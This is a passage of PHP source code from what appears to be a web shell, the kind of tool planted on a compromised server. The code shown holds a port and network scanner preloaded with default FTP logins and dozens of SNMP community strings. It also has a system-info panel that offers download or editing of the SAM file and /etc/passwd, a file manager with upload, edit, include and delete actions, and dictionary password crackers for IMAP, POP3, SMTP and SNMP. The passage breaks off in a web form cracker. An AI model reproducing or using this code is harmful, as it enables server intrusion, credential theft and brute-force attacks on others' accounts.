echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td>Port scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">Target:</td><td bgcolor=\"#808080\" width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor=\"#666666\" width=25%>From:</td><td bgcolor=\"#666666\" width=25%><input name=fromport type=text value=\"1\" size=5></td></tr><tr><td bgcolor=\"#808080\" width=25%>To:</td><td bgcolor=\"#808080\" width=25%><input name=toport type=text value=\"1024\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Timeout:</td><td bgcolor=\"#666666\"><input name=timeout type=text value=\"2\" size=5></td><tr><td width=\"25%\" bgcolor=\"#808080\">$chbox</td><td bgcolor=\"#808080\" align=\"right\">$hcwd<input type=submit class=buttons name=portscanner value=Scan></td></tr></form></table>";
$host = substr($host,0,strrpos($host,"."));
echo "<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\" name=security><td>security scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\" width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style=\"border-width:1px;background-color:#808080;\" name=nslookup checked>NS lookup</td></tr><tr><td bgcolor=\"#666666\" width=25%>To:</td><td bgcolor=\"#666666\" width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Timeout:</td><td bgcolor=\"#808080\"><input name=timeout type=text value=\"2\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ipscanner value=1 checked onClick=\"document.security.port.disabled = !document.security.port.disabled;\" style=\"border-width:1px;background-color:#666666;\">Port scanner:</td><td bgcolor=\"#666666\"><input name=port type=text value=\"21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=httpbanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Get web banner</td><td bgcolor=\"#808080\"><input type=checkbox name=httpscanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Webserver security scanning&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style=\"border-width:1px;background-color:#808080;\">SMTP relay check</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ftpscanner value=1 checked onClick=\"document.security.userpass.disabled = !document.security.userpass.disabled;\" style=\"border-width:1px;background-color:#666666;\">FTP password:</td><td bgcolor=\"#666666\"><input name=userpass type=text value=\"anonymous:[email protected],ftp:ftp,Administrator:[BLANK],guest:[BLANK]\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=snmpscanner value=1 onClick=\"document.security.com.disabled = !document.security.com.disabled;\" checked style=\"border-width:1px;background-color:#808080;\">SNMP:</td><td bgcolor=\"#808080\"><input name=com type=text value=\"public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,agent,manager,OrigEquipMfr,default,tivoli,openview,community,snmp,snmpd,Secret C0de,security,rmon,rmon_admin,hp_admin,NoGaH$@!,agent_steal,freekevin,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,apc,TENmanUFactOryPOWER,proxy,core,regional\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input type=submit class=buttons name=securityscanner value=Scan></td></tr></form></table></center><br><center>";
}
}
function sysinfO(){
global $windows,$disablefunctions,$safemode;
$cwd= getcwd();
$mil="<a target=\"_blank\" href=\"http://www.milw0rm.org/related.php?program=";
$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) $CPU = $_SERVER["PROCESSOR_IDENTIFIER"];
$osver=$tsize=$fsize='';
if ($windows){ 
$osver = "  (".shelL("ver").")";
$sysroot = shelL("echo %systemroot%");
if (empty($sysroot)) $sysroot = $_SERVER["SystemRoot"];
if (empty($sysroot)) $sysroot = getenv("windir");
if (empty($sysroot)) $sysroot = "Not Found";
if (empty($CPU))$CPU = shelL("echo %PROCESSOR_IDENTIFIER%");
for ($i=66;$i<=90;$i++){
$drive= chr($i).':\';
if (is_dir($drive)){
$fsize+=@disk_free_space($drive);
$tsize+=@disk_total_space($drive);
}
}
}else{
$fsize=disk_free_space('/');
$tsize=disk_total_space('/');
}
$disksize="Used spase: ". showsizE($tsize-$fsize) . "   Free space: ". showsizE($fsize) . "   Total space: ". showsizE($tsize);
if (empty($CPU)) $CPU = "Unknow";
$os = php_unamE();
$osn=php_unamE('s');
if(!$windows){ 
$ker = php_unamE('r');
$o=($osn=="Linux")?"Linux+Kernel":$osn;
$os = str_replace($osn,"${mil}$o\">$osn</a>",$os);
$os = str_replace($ker,"${mil}Linux+Kernel\">$ker</a>",$os);
$inpa=':';
}else{
$sam = $sysroot."\system32\config\SAM";
$inpa=';';
$os = str_replace($osn,"${mil}MS+Windows\">$osn</a>",$os);
}
$software=str_replace("Apache","${mil}Apache\">Apache</a>",$_SERVER['SERVER_SOFTWARE']);
echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td>Server information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\">".$_SERVER["HTTP_HOST"]; if (!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Operation system:</td><td bgcolor=\"#808080\">$os$osver</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Web server application:</td><td bgcolor=\"#666666\">$software</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">CPU:</td><td bgcolor=\"#808080\">$CPU</td></tr><td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">$disksize</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">User domain:</td><td bgcolor=\"#808080\">";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">User name:</td><td bgcolor=\"#666666\">";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();else echo "Unknow"; echo "</td></tr>";
if ($windows){
echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Windows directory:</td><td bgcolor=\"#808080\"><a href=\"".hlinK("seC=fm&workingdiR=$sysroot")."\">$sysroot</a></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">";if (is_readable(($sam)))echo "<a href=\"".hlinK("?workingdiR=$sysroot\system32\config&downloaD=sam")."\">Readable</a>"; else echo "Not readable";echo "</td></tr>";
}
else
{
echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Passwd file:</td><td bgcolor=\"#808080\">";
if (is_readable('/etc/passwd')) echo "<a href=\"".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."\">Readable</a>"; else echo'Not readable';echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">";
if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "<a href=\"".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."\">Readable</a>"; else echo "Not readable";}else echo "Not found";
echo "</td></tr>";
}
$uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR');
echo "<tr><td width=\"25%\" bgcolor=\"#808080\">${mil}PHP\">PHP</a> version:</td><td bgcolor=\"#808080\"><a href=\"?=".php_logo_guid()."\" target=\"_blank\">".PHP_VERSION."</a> (<a href=\"".hlinK("seC=phpinfo&workingdiR=$cwd")."\">more...</a>)</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td><td bgcolor=\"#666666\">";if (function_exists('zend_version')) echo "<a href=\"?=".zend_logo_guid()."\" target=\"_blank\">".zend_version()."</a>";else echo "Not Found";echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Include path:</td><td bgcolor=\"#808080\">".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."</td><tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td><td bgcolor=\"#666666\">";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." ";echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Disabled functions:</td><td bgcolor=\"#808080\">";if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">$safemode</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Open base dir:</td><td bgcolor=\"#808080\">$basedir</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td><td bgcolor=\"#666666\">";$sq="";if(function_exists('mysql_connect')) $sq= "${mil}MySQL\">MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\">MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\">Oracle</a> ";if(function_exists('sqlite_open')) $sq.= " SQLite ";if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\">PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= " mSQL ";if(function_exists('mysqli_connect'))$sq.= " MySQLi ";if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL ";if ($sq=="") $sq= "Nothing"; echo "$sq</td></tr>";if (function_exists('curl_init')) echo "<tr><td width=\"25%\" bgcolor=\"#808080\">cURL support:</td><td bgcolor=\"#808080\">Enabled ";if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "</td></tr>";echo "<tr><td>User information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">$uip</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Agent:</td><td bgcolor=\"#808080\">".getenv('HTTP_USER_AGENT')."</td></tr></table>";
}
function checksuM($file){
global $et;
echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td width=\"10%\" bgcolor=\"#666666\"><b>MD5:</b> <font color=#F0F0F0>".md5_file($file)."</font><br><b>SHA1:</b> <font color=#F0F0F0>".sha1_file($file)."</font>$et";
}
function listdiR($cwd,$task){
$c= getcwd();
$dh = opendir($cwd);
while ($cont=readdir($dh)){
if($cont=='.' || $cont=='..')continue;
$adr = $cwd.DIRECTORY_SEPARATOR.$cont;
switch ($task){
case '0':if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]
";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]
";break;
case '1':if(is_writeable($adr))if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]
";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]
";break;
case '2':if(is_file($adr) &&  is_writeable($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]
";break;
case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]
";break;
case '4':if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]
";break;
case '5':if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]
";break;
case '6':if(preg_match("@".$_REQUEST['search']."@",$cont)){if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]
";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]
";}break;
case '7':if(strstr($cont,$_REQUEST['search'])){if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]
";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]
";}break;
}
if (is_dir($adr)) listdiR($adr,$_REQUEST['task']);
}
}
if (!function_exists("posix_getpwuid") && !strstr($disablefunctions,'posix_getpwuid')) {function posix_getpwuid($u) {return 0;}}
if (!function_exists("posix_getgrgid") && !strstr($disablefunctions,'posix_getgrgid')) {function posix_getgrgid($g) {return 0;}}
function filemanager(){
global $windows,$msgbox,$errorbox,$t,$et,$hcwd;
$cwd= getcwd();
$table = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\">";
$td1n="<td width=\"22%\" bgcolor=\"#666666\">";
$td2m="<td width=\"22%\" bgcolor=\"#808080\">";
$td1i="<td width=\"5%\" bgcolor=\"#666666\">";
$td2i="<td width=\"5%\" bgcolor=\"#808080\">";
$tdnr="<td width=\"22%\" bgcolor=\"#800000\">";
$tdw="<td width=\"22%\" bgcolor=\"#006E00\">";
if (!empty($_REQUEST['task'])){
if (!empty($_REQUEST['search'])) $_REQUEST['task'] = 7;
if (!empty($_REQUEST['re'])) $_REQUEST['task'] = 6;
echo "<font color=blue><pre>";
listdiR($cwd,$_REQUEST['task']);
echo "</pre></font>";
}else{
if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])|| !empty($_REQUEST['rN'])){
if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){
$title="Destination";
$ad = (!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV'];
$dis =(!empty($_REQUEST['cP']))?'Copy':'Move';
}else{
$ad = $_REQUEST['rN'];
$title ="New name";
$dis = "Rename";
}
if (!!empty($_REQUEST['deS'])){
echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"100%\" bgcolor=\"#333333\">$title:</td></tr><tr>$td1n<form method=\"POST\"><input type=text value=\"";if(empty($_REQUEST['rN'])) echo $cwd; echo "\" size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value=\"".htmlspecialchars($ad)."\" name=cp><input class=buttons type=submit value=$dis></td></tr></form></table></center>";
}else{
if (!empty($_REQUEST['rN'])) renamE($ad,$_REQUEST['deS']);
else{
copy($ad,$_REQUEST['deS']);
if (!empty($_REQUEST['mV']))unlink($ad);
}
}
}
if (!empty($_REQUEST['deL'])) { if (is_file($_REQUEST['deL'])|| is_link($_REQUEST['deL'])) unlink($_REQUEST['deL']);elseif(is_dir($_REQUEST['deL'])) {
$dh = opendir($_REQUEST['deL']);
$d="";
while ($cont=readdir($dh)){$d++;}
if ($d>2) echo "$errorbox\"".htmlspecialchars($_REQUEST['del'])."\" is not empty!<td><tr></table><br>";else rmdir($_REQUEST['del']);}}
if (!empty($_FILES['uploadfile'])){
move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>";
}
$select = "<select onChange=\"window.location=this.options[this.selectedIndex].value;\"><option value=\"".hlinK("seC=fm&workingdiR=$cwd")."\">--------</option><option value=\"";
if (!empty($_REQUEST['newf'])){
if (!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],"");}
if (!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
}
if ($windows){
echo "$table<td><b>Drives:</b> ";
for ($i=66;$i<=90;$i++){$drive= chr($i).':';
if (is_dir($drive."\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title=\"$vol\" href=".hlinK("seC=fm&workingdiR=$drive\").">$drive\</a>";}
}
echo $et;
}
echo "$table<form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=135 value=\"".getcwd()."\"><input class=buttons type=submit value=Change></td></tr></form></table>";
$file=array();$dir=array();$link=array();
if($dirhandle = opendir($cwd)){
while ($cont=readdir($dirhandle)){
if (is_dir($cwd.DIRECTORY_SEPARATOR.$cont)) $dir[]= $cont;
elseif (is_file($cwd.DIRECTORY_SEPARATOR.$cont)) $file[]=$cont;
else $link[]=$cont;
}
closedir($dirhandle);
sort($file);sort($dir);sort($link);
echo "<table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td width=\"30%\" bgcolor=\"#333333\" align=\"center\">Name</td><td width=\"13%\" bgcolor=\"#333333\" align=\"center\">Owner</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Modification time</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Last change</td><td width=\"5%\" bgcolor=\"#333333\" align=\"center\">Info</td><td width=\"7%\" bgcolor=\"#333333\" align=\"center\">Size</td><td width=\"15%\" bgcolor=\"#333333\" align=\"center\">Actions</td></tr>";
$i=0;
foreach($dir as $dn){
echo "<tr>";
$i++;
$own="Unknow";
$owner=posix_getpwuid(fileowner($dn));
$mdate=date("Y/m/d H:i:s",filemtime($dn));
$adate=date("Y/m/d H:i:s",fileatime($dn));
$diraction = $select.hlinK("seC=fm&workingdiR=".realpath($dn))."\">Open</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."\">Remove</option></select></td>";
if ($owner) $own = "<a title=\" Shell: ".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>";
if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
if (is_writeable($dn)) echo $tdw;elseif (!is_readable($dn)) echo $tdnr;else echo $cl2;
echo "<a href=\"".hlinK("seC=fm&workingdiR=".realpath($dn))."\">";
if (strlen($dn)>45)echo substr($dn,0,42)."...";else echo $dn;echo "</a>";
echo $cl1."$own</td>";
echo $cl1."$mdate</td>";
echo $cl1."$adate</td>";
echo "</td>${cl1}D";if (is_readable($dn)) echo "R";if (is_writeable($dn)) echo "W";echo "</td>";
echo "$cl1------</td>";
echo $cl2.$diraction;
echo "</tr>" ;
flusheR();
}
foreach($file as $fn){
echo "<tr>";
$i++;
$own = "Unknow";
$owner = posix_getpwuid(fileowner($fn));
$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">Open</option><option value=\"".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."\">Edit</option><option value=\"".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."\">Download</option><option value=\"".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."\">Hex view</option><option value=\"".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."\">image</option><option value=\"".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."\">Include</option><option value=\"".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."\">Checksum</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."\">Copy</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."\">Move</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$fn")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."\">Remove</option></select></td>";
$mdate = date("Y/m/d H:i:s",filemtime($fn));
$adate = date("Y/m/d H:i:s",fileatime($fn));
if ($owner) $own = "<a title=\"Shell:".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>";
$size = showsizE(filesize($fn));
if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
if (is_writeable($fn)) echo $tdw;elseif (!is_readable($fn)) echo $tdnr;else echo $cl2;
echo "<a href=\"".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">";
if (strlen($fn)>45)echo substr($fn,0,42)."...";else echo $fn;echo "</a>";
echo $cl1."$own</td>";
echo $cl1."$mdate</td>";
echo $cl1."$adate</td>";
echo "</td>$cl1";if (is_readable($fn)) echo "R";if (is_writeable($fn)) echo "W";if (is_executable($fn)) echo "X";if (is_uploaded_file($fn)) echo "U"; echo "</td>";
echo "$cl1$size</td>";
echo $td2m.$fileaction;
echo "</tr>" ;
flusheR();
}
foreach($link as $ln){
$own = "Unknow";
$i++;
$owner = posix_getpwuid(fileowner($ln));
$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."\">Open</option><option value=\"".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."\">Edit</option><option value=\"".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."\">Download</option><option value=\"".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."\">Hex view</option><option value=\"".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."\">image</option><option value=\"".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."\">Include</option><option value=\"".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."\">Checksum</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."\">Copy</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."\">Move</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."\">Remove</option></select></td>";
$mdate = date("Y/m/d H:i:s",filemtime($ln));
$adate = date("Y/m/d H:i:s",fileatime($ln));
if ($owner) $own = "<a title=\"Shell: ".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>";
echo "<tr>";
$size = showsizE(filesize($ln));
if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
if (is_writeable($ln)) echo $tdw;elseif (!is_readable($ln)) echo $tdnr;else echo $cl2;
echo "<a href=\"".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."\">";
if (strlen($ln)>45)echo substr($ln,0,42)."...";else echo $ln;echo "</a>";
echo $cl1."$own</td>";
echo $cl1."$mdate</td>";
echo $cl1."$adate</td>";
echo "</td>${cl1}L";if (is_readable($ln)) echo "R";if (is_writeable($ln)) echo "W";if (is_executable($ln)) echo "X"; echo "</td>";
echo "$cl1$size</td>";
echo $cl2.$linkaction;
echo "</tr>" ;
flusheR();
}
}
$dc = count($dir)-2;
if($dc==-2)$dc=0;
$fc = count($file);
$lc = count($link);
$total = $dc + $fc + $lc;
echo "$table<tr><td><form method=POST>Find:<input type=text name=search><input type=checkbox name=re value=1 style=\"border-width:1px;background-color:#333333;\" checked>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value=\"fm\" name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width=\"100%\"><tr><td width=\"50%\"><br><table bgcolor=#333333 border=0 width=\"65%\"><td><b>Summery:</b>   Total: $total Directories: $dc Files: $fc Links: $lc</td></table><table bgcolor=#333333 border=0 width=\"65%\"><td width=\"100%\" bgcolor=";if (is_writeable($cwd)) echo "#006E00";elseif (!is_readable($cwd)) echo "#800000";else "#333333"; echo ">Current directory status: "; if (is_readable($cwd)) echo "R";if (is_writeable($cwd)) echo "W" ;echo "</td></table><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"65%\"><tr><td width=\"100%\" bgcolor=\"#333333\">New:</td></tr><tr>$td1n<form method=\"POST\"><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value=\"File\"><input class=buttons type=submit name=newdir value=\"Folder\"></td></tr></form></table></td><td width=\"50%\"><br>${t}Upload:</td></tr><tr>$td1n<form method=\"POST\" enctype=\"multipart/form-data\"><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note: Max allowed file size to upload on this server is ".ini_get('upload_max_filesize')."</td></tr></form></table>$et";
}
}
function imaplogiN($host,$username,$password){
$sock=fsockopen($host,143,$n,$s,5);
$b=namE();
$l=strlen($b);
if(!$sock)return -1;
fread($sock,1024);
fputs($sock,"$b LOGIN $username $password
");
$res=fgets($sock,$l+4);
if ($res == "$b OK")return 1;else return 0;
fclose($sock);
}
function pop3logiN($server,$user,$pass){
$sock=fsockopen($server,110,$en,$es,5);
if(!$sock)return -1;
fread($sock,1024);
fwrite($sock,"user $user
");
$r=fgets($sock);
if($r{0}=='-')return 0;
fwrite($sock,"pass $pass
");
$r=fgets($sock);
fclose($sock);
if($r{0}=='+')return 1;
return 0;
}
function imapcrackeR(){
global $t,$et,$errorbox,$crack;
if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
$target=$_REQUEST['target'];
$type=$_REQUEST['combo'];
$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
$dictionary=fopen($_REQUEST['dictionary'],'r');
if ($dictionary){
echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
while(!feof($dictionary)){
if($type){
$combo=trim(fgets($dictionary)," 

");
$user=substr($combo,0,strpos($combo,':'));
$pass=substr($combo,strpos($combo,':')+1);
}else{
$pass=trim(fgets($dictionary)," 

");
}
$imap=imaplogiN($target,$user,$pass);
if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{
if ($imap){echo "U: $user P: $pass<br>";if(!$type)break;}}
flusheR();
}
echo "<br>Done</font>";
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}else echo "<center>${t}IMAP cracker:$crack";
}
function snmpcrackeR(){
global $t,$et,$errorbox,$crack,$hcwd;
if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
$target=$_REQUEST['target'];
$dictionary=fopen($_REQUEST['dictionary'],'r');
if ($dictionary){
echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
while(!feof($dictionary)){
$com=trim(fgets($dictionary)," 

");
$res=snmpchecK($target,$com,2);
if($res)echo "$com<br>";
flusheR();
}
echo "<br>Done</font>";
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}else echo "<center>${t}SNMP cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\">$hcwd<tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>";
}
function pop3crackeR(){
global $t,$et,$errorbox,$crack;
if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
$target=$_REQUEST['target'];
$type=$_REQUEST['combo'];
$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
$dictionary=fopen($_REQUEST['dictionary'],'r');
if ($dictionary){
echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
while(!feof($dictionary)){
if($type){
$combo=trim(fgets($dictionary)," 

");
$user=substr($combo,0,strpos($combo,':'));
$pass=substr($combo,strpos($combo,':')+1);
}else{
$pass=trim(fgets($dictionary)," 

");
}
$pop3=pop3logiN($target,$user,$pass);
if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{
if ($pop3){echo "U: $user P: $pass<br>";if(!$type)break;}}
flusheR();
}
echo "<br>Done</font>";
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}else echo "<center>${t}POP3 cracker:$crack";
}
function smtpcrackeR(){
global $t,$et,$errorbox,$crack;
if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
$target=$_REQUEST['target'];
$type=$_REQUEST['combo'];
$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
$dictionary=fopen($_REQUEST['dictionary'],'r');
if ($dictionary){
echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR();
while(!feof($dictionary)){
if($type){
$combo=trim(fgets($dictionary)," 

");
$user=substr($combo,0,strpos($combo,':'));
$pass=substr($combo,strpos($combo,':')+1);
}else{
$pass=trim(fgets($dictionary)," 

");
}
$smtp=smtplogiN($target,$user,$pass,5);
if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{
if ($smtp){echo "U: $user P: $pass<br>";if(!$type)break;}}
flusheR();
}
echo "<br>Done</font>";
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}else echo "<center>${t}SMTP cracker:$crack";
}
function formcrackeR(){
global $errorbox,$footer,$et,$hcwd;
if(!empty($_REQUEST['start'])){
$url=$_REQUEST['target'];
